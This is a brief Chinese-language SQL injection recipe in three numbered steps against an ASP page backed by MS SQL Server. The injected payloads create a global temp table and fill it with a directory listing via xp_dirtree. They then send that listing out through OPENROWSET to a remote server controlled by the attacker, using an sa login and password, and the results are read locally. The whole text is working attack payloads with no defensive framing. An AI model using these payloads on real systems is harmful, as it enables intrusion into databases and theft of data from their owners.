

1、注入点执行
aaa.com x.asp?id=123;create table %23%23dhtemq (list int not null identity (1,1), dirtree nvarchar(500),num1 nvarchar(500),num2 nvarchar(500))

2、注入点执行
aaa.com x.asp?id=123;insert into %23%23dhtemq(dirtree,num1,num2) exec master.dbo.xp_dirtree [d:\] ,1,1;--

3、注入点执行
aaa.com x.asp?id=123;insert into OPENROWSET ('sqloledb','server=xx.xx.xx.xx,1433;Initial Catalog=master;uid=sa;pwd=woshinidie','select dirtree,num1,num2 from dhtemq') select dirtree,num1,num2 from ##dhtemq
xx.xx.xx.xx 
本地执行
select * from dhtemq 



